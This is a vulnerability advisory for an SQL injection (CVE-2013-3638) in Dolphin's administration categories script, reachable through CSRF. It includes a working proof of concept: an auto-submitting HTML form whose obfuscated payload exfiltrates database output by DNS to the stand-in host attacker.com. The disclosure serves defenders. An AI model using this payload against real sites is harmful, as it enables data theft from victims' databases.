Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability 
in Dolphin, which can be exploited to manipulate SQL requests passed to 
vulnerable application and obtain sensitive data from the database.


1) SQL Injection in Dolphin: CVE-2013-3638

The vulnerability exists due to insufficient validation of "pathes[]" HTTP POST 
parameter passed to "/administration/categories.php" PHP script. A remote 
authenticated administrator can execute arbitrary SQL commands in the 
application's database.

This vulnerability could also be exploited by a remote non-authenticated 
attacker via CSRF vector, since the application is prone to Cross-Site Request 
Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in 
application administrator to visit a web page with CSRF exploit.

The basic CSRF exploit code below is based on DNS Exfiltration technique and 
may be used if the database of the vulnerable application is hosted on a 
Windows system. The exploit will send a DNS request demanding IP addess for 
`version()` (or any other sensetive output from the database) subdomain of 
".attacker.com" (a domain name, DNS server of which is controlled by the 
attacker):


<form action="http://[host]/administration/categories.php"; method="post" 
name="main">
<input type="hidden" name="pathes[]"   value="1%%(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))
 -- %%1">
<input type="hidden" name="action_disable"   value="1">
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
